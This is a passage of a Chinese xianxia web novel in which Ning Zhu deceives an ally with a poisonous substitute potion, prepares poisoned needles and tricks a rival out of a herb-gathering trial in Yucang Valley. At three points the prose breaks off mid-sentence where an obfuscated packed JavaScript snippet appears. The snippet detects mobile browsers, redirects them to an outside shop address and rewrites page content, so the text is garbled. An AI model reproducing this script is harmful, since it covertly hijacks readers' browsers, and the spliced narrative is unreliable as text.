宁竹反问:“之后有什么活动?” 论对宁家行程安排的了解,宁竹了解的显然没有喜欢到处八卦的宁辞多。 果不其然,宁辞闻言想也没想,即答道:“十日后,会带今年觉醒灵脉的幸运儿们去郁苍谷进行第一次修炼。” “和外族有关的呢?” 宁辞讶异地看他一眼:“三个月后,外族学堂会进行升学考核。” “那就在这之前给我。” 宁辞隐约感觉到了异样,只可惜她并不精通宁家的药学,对灵植功效作用更是全然不熟,但宁竹给她的聚灵散很值,这一次给的化灵散不仅价值远超聚灵散,更是宁辞所急需的。 片刻沉默后,她朝宁竹确认:“你只要花籽,对吧?” 宁竹点了点头:“对。但,品相要足够完好,饱满、有玉泽为佳。” “没问题。三个月内,我一定给你搞到。” 3. 化灵散 宁辞没有多留,从哪进来的就从哪出去,留下宁竹目送她翻过围墙,确认她走后,宁竹这才暗自松了一口气。 ……化灵散。 他苦笑一声。他上哪搞得到这个? 聚灵散与化灵散并称宁家两大招牌药剂,但两者的获取难度却是天壤之别。 聚灵散虽是限量供应,但总归还能直接在市面上买到,而化灵散则是设做奖励钓着外族的小辈们奋力争取,只有少量的售予同宁家交好的宗族。 宁竹在宁家这几年来根本不参与任何活动,又怎么可能得到数量稀少的化灵散。 他给宁辞的……实际是一剂毒。 . 三年前未觉醒灵脉的宁竹,不仅是坊间有名的单灵属天才,更是坊间佣兵们公认的药学奇才。 木属性带给他对植物强大的亲和力,也带他闯进了属于高尖宗门才敢倾血本培养的炼药领域。 植株皆有属性,或阴或阳、或热或寒,不同的植物搭配能放大或削减药性,不同的熬制时间能影响药性的发挥,加入植物的节点时机会改变药性的平衡。 宁竹深深地迷上炼药的神秘所在。 他的修炼伴随着草本的气味,袖口衣摆总是沾染着草木的汁液,他与草木相伴,草木也牵引他探索。 他开始自学使用药材,帮着往来的佣兵们疗伤。 于是某天深夜,熟识的佣兵领队被弟兄们背着撞进宁竹的小院里,他身上多处重伤,断了好几处经脉,不至于丧命,但灵力不断逸散,修为止不住地下跌。 宁竹不休不眠一整天才补上了他的经脉,他醒来时,宁竹问他伤到这种程度,怎么不去找宁家的药师。 对方狡黠一笑,回道:哪敢啊。 他一边说一边从怀里掏出一个白玉瓶,瓶身刻印着的正是宁家的家徽。 时至今日宁竹也不清楚对方到底是从哪弄来的、是否和宁家起了正面冲突,但对方信他,大方地把药瓶塞进他手里。 那是宁竹第一次接触到化灵散。 佣兵领队问他这次治疗要用什么药材来抵,宁竹犹疑半天,问他,能否分他一点化灵散,就当抵了医疗费。 对方愣了下,或许是没想到宁竹会提出这种请求,但最终还是信了宁竹的人品,分了他几滴。 化灵散有价无市,这几滴已是弥足珍贵。 宁竹将之珍藏,而后花了近一年时间去研究,期间大大小小的药方配了无数,消耗的药材也前所未有地多了起来,最终迫于材料的限制,宁竹只勉强配出来一套效力远不如化灵散、且还附带毒性的低配版。 要是能进宁家的炼药堂看他们怎么炼的就好了。 当时宁竹这么想着,却可惜天命弄人。 如今宁竹真进了宁家,是处处受限,只一心想逃离这座牢笼。 这三年里,宁竹同样测试过用自己的低配化灵散去消除灵脉,好几次跌入散气八段,都有低配化灵散的一半功劳。宁竹刻意任由毒素堆积,到现在,他的灵脉已经出现了轻微的堵塞,阻碍着灵脉的运转。 而在今日,他也通过灵脉共鸣验证了——低配化灵散真正起作用的,是毒。 药毒同源,药师与毒师之间的名声待遇却有着天渊之差,药师走到哪里都受人尊敬,无人愿意正面得罪一个关键时刻能保人性命的药师,毒师却是与之相反,虽不及邪修那般恶名昭著,但也如过街老鼠人人喊打。 可那又如何?宁竹深深地呼出一口气。 利用一切可利用的。这是宁竹在坊间、在佣兵们之间生活十二年学来的生存法则。 十日后的郁苍谷之行,宁竹也符合前往的条件,只要宁竹愿意去,没理由领队的不带行。 而郁苍谷,在宁家有个更直白的名字:药仓。 里面灵气蓬勃浓郁,五行均衡,药植更是繁多,甚至还有着不少外界罕见的灵植,而内里却没什么强大妖兽存在,可谓是药师天堂。 宁竹手里的低配化灵散药方,用到的大部分是宁辞能给他搞到的毒草,但在这其中起到关键作用的,是一株不算罕见的一阶灵植:白叶参。 这仅有的、混入郁苍谷的机会,宁竹决不能错过。 他起身端来一个小炉,点燃火焰,便从先前分好的草药里抓了一把扔进去,黑烟顿时升腾。 寻常修炼者只有到了凝源之后才能学习使用功法,拥有攻击能力,但攻击手段却也并非只有功法。 宁竹心头倒数时间,掐着点投入另一把果子,先前有些呛人的怪味立马被压了下来,炉中开始发散出香甜气来。宁竹散开一把银针,一根一根地放入黑烟中熏烤,辅以灵力做燃料,直到银针全部晕染上诡异的黑紫色。 宁竹不仅善药,更善毒。 在他未能凝源之前,毒曾经是他唯一的自保手段。 宁竹从未轻视过毒,与之相反,宁竹对毒从始至终都怀抱着同药一致的敬畏。 他将手里的银针熏烤过大半之后,又加入了另一味药材,操控着灵力细微地包裹起灼烤出的汁水,提炼成药剂。 此次郁苍谷之行,宁竹可谓是将自己置于众矢之的,多少看他不顺眼的人定会借此发挥。宁竹无意主动引发纷争,但若是有人主动找事——那宁竹自然也不是什么任人宰割的鱼肉。 . 十日时间转瞬即逝,转眼便来到集合日。 天刚蒙蒙亮起,宁竹便醒了过来,简单洗漱后便推开房门。 今天大概不会有什么好天气了,乌云厚重,压在天角,晨星都被笼罩。空气中的水灵气比往日要浓郁,大抵是要下雨。宁竹望了眼墙外的天色,进了小院,准备在草木中吸收天地间的灵气。 只是他刚坐好,门外便响起敲门声,宁竹稍稍皱了眉,他走过去,开了门,门外少年还抬着手,似乎是刚准备再敲两下。 “宁殊哥。” 宁竹率先打了招呼,宁殊见他开了门,大抵是意外他起得早,脸上一闪而过的先是诧异,随即才是一如往常般温和的笑:“小竹。” “有什么事吗,宁殊哥?” 宁竹虽然开了门,但并未打算放宁殊进来,也所幸少年没有进入的意图,只是同他点了点头:“宁衡上次对你出言不逊,领了七日禁闭责罚,已经意识到了自己的错,同意将这个月的物资做为赔礼给你。” 宁竹面色如常,抵着门的指尖却是轻轻一动。 同意……那就是本来也没想给,是有谁提了,他自愿、或“自愿”给出的。 “外族物资不及内族,但总归是聊表歉意,”宁殊从储物手环手取出一个小包裹,“收下吧。或许……对你有帮助?” 宁殊这么说着,往前递了递,示意宁竹接过。 宁竹刚要拒绝的话到了嘴边,听清楚宁殊后半句话时,他又不动声色地咽了回去。宁竹接过包裹,宁殊还没有要走的意思,他眨了眨眼,自然地提到了今日的行程:“再过半个时辰,就要进入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205081|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁苍谷了,你……” “我会去。” 宁竹对此早有所料,他打断了宁殊略显犹疑的长音。 宁殊想了好几天劝他去的话顿时全部用不上了,他愣了下,旋即笑起来:“那太好了。” 他说着又眨了眨眼,视线落向宁竹手里的包裹:“记得要看——一定对你有帮助。” 宁竹点头。宁殊想做的事都做完了,他摆摆手,示意宁竹不必送客:“我先走了。你记得去提前去广场集合,今年带队的是轩队,她不等人。” “知道了,宁殊哥。” 宁殊身形微微一僵,他又突然补了句:“……其实你可以只叫我哥的。” 宁竹没再回话,只微笑着看他,直到他颔首以示道别,转身远去。 他刚一走,宁竹立马合上门,进了小院才打开包裹。里面的东西的确不如他每个月拿到的物资,基础的月银之外,也便只有一些简单的疗伤药,和短暂恢复少量灵力的补气丹。不算多么稀缺的物资,但有用,尤其是对宁竹接下来的郁苍谷之行,更是实用。 宁竹一一清点物资,又一一塞进储物手环里,随着物资的减少,裹布露出了图案,宁竹拿起止血剂的手一顿,他飞快清完了剩余的东西,把整块布展开了。 那是……地图。 很简单、甚至有些潦草,但每块区域内的重点信息都标得极其清楚,可以看得出作画者的用心。 宁竹抚摸过墨痕,大脑飞速转动起来,若是别人给的,宁竹尚会犹豫一二,但会在这张裹布上给他画地图的人,也只有宁殊了。 郁苍谷一年一开,除了今年刚觉醒的小孩,其他符合条件的内族弟子都不是第一次去往,对郁苍谷内里的状况也多有大致的了解,宁竹前两年都因为各种原因没能去成,今年是他第一次前往,自然和其他人有着信息差。 而宁殊给他的地图,弥补了这一点。 宁竹心下稍暖,好死不死,宁辞昨夜里故意恶心他的话在脑里回荡起来:“你该不会是族长的私生子吧?” 宁殊前不久莫名的话紧接着响起:“你可以只叫我哥的。” ……恶。 宁竹嘴角扯了扯,最终决定把这些乱七八糟的先抛在一边。他盯着铺开的地图,牢牢背住地形和宁殊的标注,旋即掐着时间把地图焚毁了。 承人好处不牵连人,虽然尚不清楚进谷前查不查手环,但总归不要给任何人抓住自己把柄的机会。 至于其他物质。宁殊敢给就是能带,宁竹心安理得地带上手环,临出门前,他的手不自觉地摸上颈间。 那里是一块吊坠,样式简朴,是竹叶交叠的模样。 宁竹深深地呼出一口浊气。实际上,这也是一块储石,其存储空间甚至大过宁家分发的手环。 这是宁竹的母亲生前留下的唯一遗物。 宁竹曾经带着这枚吊坠前往书阁,在门口时,护卫队的要求他把吊坠拿出来检查,因为书阁不允许任何人携带拥有储物功能的物品进入,而那次检查,护卫队没有查出来这块吊坠也是储石所铸。 除了庆幸,宁竹心头也有疑云萦绕。 自己的母亲是什么人?为什么会有这种高等级的储石?但他没有发问的可能了,毕竟,唯一能回答他的人已经离开他了。 . 宁竹握住那枚吊坠,直到吊坠染上他掌心的温度。 保佑我吧。他在心头默念。保佑我……这一次也能顺利。 4. 郁苍谷 前不久才说,今天大概不会有什么好天气了,这会儿便已是乌云密布,细雨绵绵连成轻柔的纱,使得眼前朦胧一片。 宁竹一脚踩进浅水坑里,溅起水花。雨下得突然,又密又绵,宁竹只用手稍挡视野,他一路飞奔,赶着时点进了广场,落在人群后方。 广场离内族弟子居住地稍有些远,他来广场的次数屈指可数,估算错了时间,好在还赶得上。他来时悄然无声,并不想成为视线焦点,可惜偏有人不愿意让他如意,站在前头的人发觉了身后的动静,他偏身扫了一眼,顿时怪叫起来:“轩队,这有个迟到的!” 那人年岁不大,看着只有十一二岁,矮了宁竹半个头,他阴阳怪气地上下扫视着宁竹,排挤道:“今年吃错药了?什么热闹都来凑。” 宁竹并不看他,只目视前方:“怎么有狗叫,好吵。” “你!” 那人眉头一跳,手捏握成拳,他还想骂,人群前身形瘦削的青年抬眼看了过来,于是宁竹斜前方不远处的红发少年出了声:“好了,先听轩队宣讲规则。” 宁竹认识这两人——准确说,他认识的是红发少年。而以那个少年为中心,他周身一圈的人,都属于红发少年的小团体。 轩队对于红发少年的阻止并无意见,对于宁竹的迟来也没有言语。她手一挥,一枚木牌、一张卷轴便悬于宁竹眼前。 “收好。卷轴建议你进谷后再看。遇到危险捏碎木牌,会有人救你。” 她说完,便转了视线,缓缓扫过面前所有人的脸庞,声音不大,语调平缓,却让所有人都清晰听见了:“规则与往年一致,发放清单,寻找草药,以品相、年限积分排名。前三名,允许带走任意一味草药;非药阁者,获得参与药阁试炼的资格。” “本次试炼为期十天,不该去的地方别想着进。最后一天我会发射信号提示,无论最后成绩如何,都必须在第十日归队。否则——” 她顿了顿,平淡的语气里第一次出现了波动:“后果自负。” 那声音里似乎夹杂着灵力的威压,猝不及防之下,有几个修为不高的少年更是狠狠打了个寒颤。几乎所有人都在轩队的声音里下意识站直了,齐刷刷地抬高了声应: “是!” “今年觉醒的站到我身边来,其他人自便。”她的语气又恢复了如往常的无波澜。她手轻轻一招,众人脚底下便出现了极其复杂的阵法,以她为中心一圈一圈向外展开,散发出微弱的亮光。 “——闭眼。” 她突然提示,紧接着,那光骤然大盛,瞬间吞没了所有人。 宁竹闭眼闭得迅速,但白光仍在他的眼底留下大片大片的光斑,他感觉到了一阵天旋地转,身体似乎漂浮了起来,周身失去实感,略有些灼热的灵力包裹住他,旋即连带他衣服上被雨水侵袭的潮湿也一并抹去。 晕眩感持续得并不久,宁竹很快发觉自己落了地。 他睁开眼,面前是与先前阴雨绵绵的广场上相反的阳光明媚——或许说是阳光并不准确,宁竹抬了头,却并未在天上看见太阳。 . 这是……传送到多远的地方来了? 宁竹还没进宁家之前,便跟着佣兵们进过镇子附近的山林里打猎,而他可从未听闻那山林附近,还有这种好地方。 那就只能是超远距离的传送了…… 啧,有够奢侈。 宁竹摇摇头,不再去想地理位置。他收回视线,环顾四周,充沛的灵力伴着草木的芳香一并将他包裹,他所在的地方视野开阔,是一处平地,往左侧不远处便是一片郁郁葱葱的树林。 宁竹低头看了一眼手里的牌子,不知是用什么木雕刻的,坚硬而具有玉色,表面摸起来光滑,里面却写了他的名字,旁侧镌刻着大量繁杂符文。他尝试往储物手环里塞,却不料那木牌像排斥储石一般,只一靠近宁竹便感觉到了抵触,手稍卸力几分,木牌便带着宁竹的手弹开了。 大概是不让收起来,怕关键时候拿不出来?宁竹想着,索性把木牌塞进了衣兜里,又展开手中另一件关键物品:卷轴。 他刚一打开,映入眼帘的便是几行大字,宁竹微微一愣,旋即也释然了。 只有名字,没有图示,更没有生长环境对应元素等等关键信息,看样子是准备考验对草药的基本认知了。 他又往下看去,又多又杂的草药写满了整张卷轴,看得宁竹眉头直跳,一开始还只是些普通草药,越往后越是珍贵,甚至最后出现了几行用特殊颜色标记出来的二阶灵植。 要知道单青月花这样一个一阶灵植、还只是要花籽而非整株,对宁竹来说就已经是负担不起的珍稀药材了,郁苍谷居然连二阶灵植都有……不,应该说,二阶灵植居然也是他们这些小辈能接触到的。 宁竹暗暗咽了口唾沫。 他在坊间时,只知宁家是所有佣兵口中惹不起的庞然大物,但真正接触到了,宁家的富裕程度还是有些远超宁竹想象。 他试着把卷轴往手环里放,这一次倒是很顺利。宁竹又忽然想起来这次进入时没人查储物手环。倒也是,这么多草药,全部拿在手里也不现实。 宁竹在脑海里对比起宁殊画给他的地图,除了地势和不同地区元素倾向的标注外,还有好几片区域被宁殊标上了勿入的危险标识。 而眼下他所处的这片区域是边缘区,离那些危险区远得很。 他蹲下身,手去触碰脚边的草。 草叶细长,有些干枯,这片区域水元素偏少。宁竹很快分辨了边缘区的情况,他看向树林,一阵风在此刻恰好吹拂而来,扬起宁竹额前的碎发。 他的视力很好,对草药的认识也并不输给有着学堂教导的内族弟子们,不远处树下一株随风摇曳的小白花,正是卷轴第一行所书的药草。 他抬步走去,随手折下小花塞进了储物手环里。 . 宁竹参与这次郁苍谷之行,可不是为了夺得名次,而是冲着灵植来的。 虽说有两种获取灵植的方式,但这个排名的不确定性太大,他不确定其他人对草药的了解程度如何,万一又恰好有人撞了大运找到好好几株灵植…… 把精力全部赌在拿名次上风险太大。 宁竹心头两三下定好计划。 以找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205082|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻灵植为主,途中有碰到草药就摘下,不浪费时间在找寻草药上。 他要找的白叶参并不是多稀罕的灵植,只是长得比较隐蔽,找起来花时间。 白叶参是土元素灵植,其果深埋地下,长在外头的叶子和另一种山间野草几乎没有区别,但白叶参性温偏热,因此生长地必然也有着火灵气的活跃。 灵植所在的地方多为灵力充裕的宝地,一路上判断植物的状态,也能勉强定个大方向,更细节的,就要考验对植物的了解程度和搜寻能力了。 宁竹说走就走,灵力覆盖在脚上,随着他蓄力一下猛蹬,灵力自然将他的身体推出去更远。 十天时间说短不短,说长也不长,万一宁竹真就倒霉透顶,那也不是没有空手而归的可能性,因此十天时间,对他而言半点浪费不得。 他在林间飞跃穿行,脑中反复比对着地图。 他要前往的第一处地是一处山丘顶,路上瞧见的药草也不管是否卷中有名,统统进了他的手环里。 宁殊画的地图看起来不大,但亲身走一遭了,宁竹才感觉到这里的广阔。 十天,还真未必能把整个郁苍谷走个遍。 . 宁竹用力蹬上岩石,身体如飞箭般弹射而出。 他在半空中躬下身,于落地的瞬间拔起脚边一株草,但在他又一次蓄力蹬地时,他抬头望向前方,准备寻找下一处落脚点,可旋即脚上卸了劲,覆在脚上的灵力也随之消散。 他停了下来。 ……这是什么? 宁竹愣了愣,他辨认错了地图,还是……出现了原本不应该在这的东西?宁竹谨慎地往后退了退。 他面前出现了一层……怪异的黑色光幕。 那层光幕发散出了幽光,隐约可以透过那层半透的黑看见里面的景象。……似乎没什么异常。那层光幕正正好盖在草地上,而那些丛生的野草并未见任何颓势。 宁竹皱着眉头,他腿上一动,脚边的石子被挑起,旋即被他猛地踢向那层光幕。 石子却没有宁竹预想中的撞上光幕立即碎裂的场景出现,那枚石子就在他的注视下穿过光幕,落在草丛中,甚至还骨碌碌地转了好几圈才停下。 而光幕……甚至连一丝波动都未曾出现。 没事? 宁竹有些犹疑。他不确定地捡起一根树枝,往前走近了些,小心地用树枝探过光幕。 ——没有任何变化。 能过去? 宁竹把那根树枝抛了过去,和石子一样轻巧落了地。 不。宁竹心头仍不信任。郁苍谷之行机会宝贵,他不能轻易赌。 他退开些,往侧边走,试图找到这层光幕的边缘。虽然山腰处已经初具白叶参生长的条件了,但他能感觉到,再往上些,这片山丘的山顶,有着更活跃的火灵气盘踞。 ……要是能有什么给他实验一下就好了。 他心头想着,刚走出去没两步,身后骤然响起了阳阳怪气的嘲讽: “怎么,大门不出二门不迈的宁竹少爷这是迷路了?” 嚯……这不就送上门来了吗? 5. 一战 事先说明,实际上宁竹对宁家绝大多数人都没有意见。 但很多时候,他们太过好奇,也太过探究。一双双眼睛望着他,视线长久地在他身上停留。 是,他宁竹是宁家流落在外的私生子,这种秘闻总归让人心生好奇,催使着他们跨过边界去满足自己的八卦欲。 是,他宁竹凭两道灵脉一跃成为世家大族的重点培养对象,他们妒忌地说他命好,说难怪他这么厉害,原来是出身起点就比别人高。 是,他宁竹是他们口中养不熟的白眼狼,在宁家生活三年,享受着内族弟子的待遇,拿了诸多福利,却不守规矩不服管教。 可他真的想要这些吗? 有人问过他,哪怕一句吗? 即使是表面对他最好同他最亲的宁殊,也不曾问过,可愿留在宁家? 宁家这个庞然大物压在他的头上,轻飘飘地摧毁了他曾经所有的努力,又横在他的道路之前,逼着他去走他们划定好的路。他们不懂宁竹的抗拒和抵触从何而来,宁竹又何尝不是不懂他们的妒忌与排挤从何而起。 宁竹转过身,看向身后那人。 . 平心而论,宁竹的确有些大门不出二门不迈,但这一点具体表现在他根本不记得多少人上。面前这个看着只有十一二岁、从还没进入郁苍谷就对着宁竹挑衅,归属红发少年小团体的家伙,宁竹根本叫不上名字。 他叹了口气。 那人见宁竹叹气,眼珠子一转,似乎的误会了什么,他双手抱臂,脸上浮现出几分莫名的趾高气昂来:“告诉你,宁竹,这次第一名我们煌老大势在必得,你要是识相,就把你手里的单子交出来,再给我跪下道个歉,我可以和老大说说不把你清出局。” 宁竹:“哦哦,然后呢?” 对方似乎没想到宁竹会这样作答,脸上的表情都僵了一瞬,但很快,他身上逐渐外放出了灵力,他面色不善地盯着宁竹:“看来你是还没搞清楚形势啊,宁竹!” “你要是觉醒的灵脉有一条是木属性,说不定还我让你几分,但你现在算什么?” “一个灵源破裂的三灵属罢了,你有什么资格对我摆脸色!” 他猛然一蹬地面,整个人俯下身向着宁竹冲来,握成拳的手上灵力凝聚,直直冲着宁竹面上挥击而出! 宁竹却不惧他,脚下一错步,他挥出的拳头落至空处,那人猛地止住身形,脚下用力得陷入泥土几分,他骤然一旋身,抬起的胳膊带着腰部旋身的力量悍然袭来,肘部直击宁竹心口而去! 宁竹仍没有与他正面相撞的意图,他轻巧地往旁侧一避,那人还来不及收回手,他全身重心都压在了一侧腿上,宁竹骤然发难,猛地一记鞭腿直击对方膝窝,瞬间令得那人往前踉跄,险些没直接跪倒在地。 “不过如此。” 宁竹拍了拍衣服,扫去沾上的尘土,他看了那不知为何突然僵在那里的少年,摇摇头往自己原本要走的方向走去。 一秒。 两秒。 宁竹心头默念,他眯起眼,放在身前的手悄然凝聚灵力。 三秒—— “给我站住!” 一声嘶哑的怒吼伴随乍起的破空声瞬息而至! 宁竹回身,早已凝聚的灵力在第三秒念出的一刻已然汇聚,随着他手上诀成,在他身前交叠着包裹住飞射而来的冰刃。 聚气凝物,攻击型功法。 宁竹微微眯起眼,很快对面前的少年有了大致的判断。作为曾经凝源成功过的人,宁竹自然清楚面前这人使用的,正是凝源之后才拥有运行能力的功法。 但他并不熟练,所以,大抵是前不久才突破的凝源。 那人没有料到宁竹防了他,他咬牙俯身再度冲来,水同金在他手中凝聚成一柄短刃,随着刃尖指向,周身再度凝聚的冰刃连射而出,直指宁竹! 很快,但是——也慢。 宁竹冷哼一声,他手落在手环上,紧接着一杆长竹棍悍然挥出—— “嘭!” 那冰刃本就是少年强行凝聚,在接触到棍身的瞬间便碎裂炸开,少年却借着他挥扫之时突然一闪身蹬上旁侧树干,借高度俯冲而下,刃尖寒芒闪烁。 砰! 锋刃直入棍身,喷溅出的汁液粘在双方衣袖上,更有甚之溅在少年脸上。 少年脸上尽是这个年纪不该有的扭曲与愤然,他几乎要咬碎牙,少年猛地一下抽身后撤,脚下一记鞭腿骤然扬起,金色的灵力覆在脚上,几乎在瞬间撕裂了风! 宁竹突然笑了,他松手,那根碍事的长棍被他抛弃。少年脸上一喜,正想着再度冲上来,却见宁竹指尖捻着一株小白花,火焰在他指尖熊熊燃烧。 ——什么? 他心头骤然空了一拍,对未知恐惧的本能迫使他猛刹住脚步,但,来不及了。 骇人的香气直冲大脑,少年只觉得耳旁嗡的一声,他脚下一软,踉跄着险些扑倒在地,宁竹却在他的视线里笑了笑,抄起竹棍猛地又补一记。 扑通。 这下他彻彻底底地跪趴下了。 “一上来就这么挥霍灵力,是没人教过你怎么作战?”宁竹往嘴里塞了颗清明果,“才凝源而已,我还以为你聚星了,这么神气。” 宁竹俯下身,毫不客气地摘了他系在腰间的木牌。 ……宁瑞。 宁竹思索片刻,终于把人和名挂上了钩。 和倒霉的宁衡相反,宁瑞是父母都是普通人、自己却意外觉醒了灵脉的好运儿。虽然只是双灵脉,但不可谓不算一跃成龙。 “还给我!” 宁瑞见宁竹拿了他的木牌,顿时脸色大变,尖叫着想要夺回木牌,宁竹却笑起来,指尖勾住挂绳甩了又甩,甩得少年面色难看至极。 “……你刚刚做了什么?” “一点小花招而已。” 宁竹一边说着一边同他拉开安全距离,而宁瑞看着宁竹甩动的木牌,不敢轻举妄动。 虽然宁竹是第一年前往,但他也并非全然不了解这里的生存规则,轩队当时说得模糊——“捏碎木牌就会有人救”,实际上的规则是,捏碎木牌就会启动木牌上纂刻的阵法,直接被传送离开郁苍谷。 因此,宁竹此刻拿了他的木牌,相当于是决定了他这一轮试炼的生死。 “花……”宁瑞面色不善地盯着宁竹的一举一动,忽然他回过味,想起先前宁竹点燃白花的举动,可——可那株花他也认识,并不会使人晕眩,“是那朵花?” “不。”宁竹看他一眼,“是你脸上溅到的东西。” 宁瑞脸色煞白,那汁液已然有些凝固,在他脸上化作有些黏腻的斑,他慌忙去擦,沾得他手上全是黏糊糊的汁。 这又是什么?宁瑞实在想不明白了。他有些恶心地释放一点水灵力,凝化成水冲去面上的斑痕,也是防止宁竹再度故技重施。 “……把木牌还我,我可以告诉你你想知道的。” 胜负已决,宁瑞这会儿再不服气,也不得不对着宁竹低头。他抛出了自认为足够的筹码,而对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205083|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宁竹沉默片刻,宁瑞的心脏几乎都要迸出喉口,接着,宁竹点了点头,他又骤然松了一口气。 他对宁竹来说还有价值,宁竹不至于现在就对他下手。 宁瑞悄然握紧了拳头。 ……还有翻盘余地。 他在心头默念。 “你要我的卷轴有什么用。” 这个问题在宁瑞的意料之中,他深吸一口,回答道:“把所有人的卷轴都拼在一起,会组成这次试炼中,等级最高那株二阶灵植的相关信息。” 宁竹闻言,很是不客气地朝宁瑞伸了手:“把你的卷轴给我。” “你……” “卷轴重要还是木牌重要,你心里有数。” 宁竹又威胁性地勾着绳索甩动起来,看得宁瑞又一次心跳过速:“你别甩了!我给你就是。”他取出卷轴,往前几步准备把卷轴递过来。 宁竹却不吃他这一套,对方进了几步,宁竹就退开几步,保持着双方之间的距离:“抛过来。” 宁瑞太阳穴突突直跳,却拿宁竹毫无办法,只得把卷轴丢了过去,被宁竹稳稳接住。 “宁煌呢,你没跟他们小团伙一起?” 宁瑞脸色变了又变,以沉默做回答。 宁竹忽的一停手,那枚旋至半空的木牌直直落进他掌心里,威胁意味不言而喻,宁瑞恨得咬牙也只能强迫自己开口。 “……我没找到他们。煌老大没发射信号,我不知道他们在哪。” 宁煌、宁瑞口中的煌老大,正是先前在广场集合时,留着一头抢眼红发的少年。 宁竹思索片刻,又观察面前年岁不大的宁瑞。他此刻焦躁极了,脸上愤恨混着不甘,手更是不安地捏拽着衣摆。大概率没有说谎。 “够了吗?可以还给我了吧!” 他注意到宁竹的视线,脸上的焦躁又盛几分,他下颌绷得极紧,大抵是险些咬碎了牙,才从中艰难地挤出话语来。 “不急,还有最后一个问题。”宁竹的视线一寸不移地盯着他的眼,唯恐错过他任何一瞬的变化一般,他放缓了声音,极其清晰地问了:“告诉我,那片黑色光幕是什么?” 宁瑞的眼底闪过一丝诧异,而后是强装着掩盖出来的不屑:“这你也不知道?” “那是危险区的标识,用来警告所有人最好离远点的。” 宁竹摩挲着那枚木牌:“原来如此,进去了会怎么样?” “不会怎么样。”宁瑞舔了舔自己发干的唇瓣,“只不过扣分而已,但和里面的珍稀草药比起来,扣的这点分不过九牛一毛。” 宁竹玩味地“哦?”了一声,他看着身前就连骗人都不熟练的宁瑞,终于有了他今年不过十一二岁的实感。他笑起来。 宁瑞被他笑得发毛,他着急地又往前踏出一步,这一次宁竹没再后撤:“把木牌给我!” “当然。”宁竹说,“我一向说到做到。” 宁瑞脸上浮现出欣喜的神情,但下一瞬,宁竹猛地朝那光幕掷出木牌。 宁瑞来不及变向,只眼睁睁地看着,那枚木牌在他眼前化作一道流星,笔直地,撞上那光幕,而后—— 碎裂。 “你个混蛋!!” 宁瑞瞬间失控,他发疯地想要冲宁竹发起攻击,可一切都来不及了,宁瑞身体已然虚化,大量繁杂的符文在他周身浮现,他愤怒的嘶吼尾音还未落下,人已然在宁竹的注视下被传送走。 “当前出局人数:1。” 轩队的声音凭空在宁竹脑海中响起。 6. 结盟? 理论上,郁苍谷的所有人都听到了这则通知。 宁竹惊愕地看着光幕前那木牌的残骸,有些后怕地摸了摸自己后颈,不出意外摸到了满手心的潮湿。 还好,还好自己方才没有直接莽过去。 宁竹侧过头,顺着光幕延长的方面望过去,一眼看不见尽头。 看来这座山头是上不去了。 他在脑海里回忆起宁殊给的地图,不远处还有一座小山也是主火的,符合白叶参的生长需求,只是按地图来看,那片区域附近也有不少禁入区。 ……只希望不要像这次这么倒霉。 宁竹又回过头看了一眼挡在身前的光幕,又回忆先前一路紧赶慢赶地登山,一时只觉得无奈。浪费时间精力。宁竹摇头,这回下山倒是不怎么赶着路了。 突如其来的风扬起他的发梢,抚过枝叶,牵连出一串窸窸窣窣的声响。 郁苍谷里没有太阳,因此也无法分辨时辰,宁竹推测现在已是过了午时。郁苍谷的确是个安全得令人觉得不真实的地方,比起宁竹早年跟随佣兵们进的山林,少了魔兽和毒虫,就只剩下毒草需要小心回避而已,宁竹走了这么久,观察了半天也没能发现哪怕一只虫子。 安全得不真实,也安静得不现实。 即使宁竹有意控制了消耗,但九段散气再怎么节省使用也很容易见底,之前上山就已经用了他大半的灵力,和宁瑞那一战,也正是因为宁竹的灵力所剩不多,才剑走偏锋速战速决,甚至不惜用上毒强控宁瑞。 要不然他还能从宁瑞嘴里套出来更多消息。 宁竹稍觉得有几分可惜,但先前宁瑞说出来的东西也足够他琢磨一会儿了。他依旧握着那根长竹棍,速度降了下来,缓慢地沿着来路走下山去。 . 今年的郁苍谷之行,满打满算也就二十来人,而这其中,宁煌无疑是被所有人看在眼中的头号种子。 毕竟是他是宁家年轻一辈中,唯一一个火元素单灵脉,炼丹堂长老们的心头肉掌中宝。 哦,现在不是了。十天前的唤灵仪式有个女孩也是火元素单灵脉。宁竹脑子里突然闪过那天给他带路那男孩的表现,心里头又是一声叹息。 可惜他那天心里头有事,懒得找宁煌站在哪儿了,不然一定能看到宁煌精彩的表情。 毕竟这家伙,可跟“和蔼可亲”这几个字点儿边都搭不上。 . 宁家又分四大堂,分别执丹、医、植、卫。 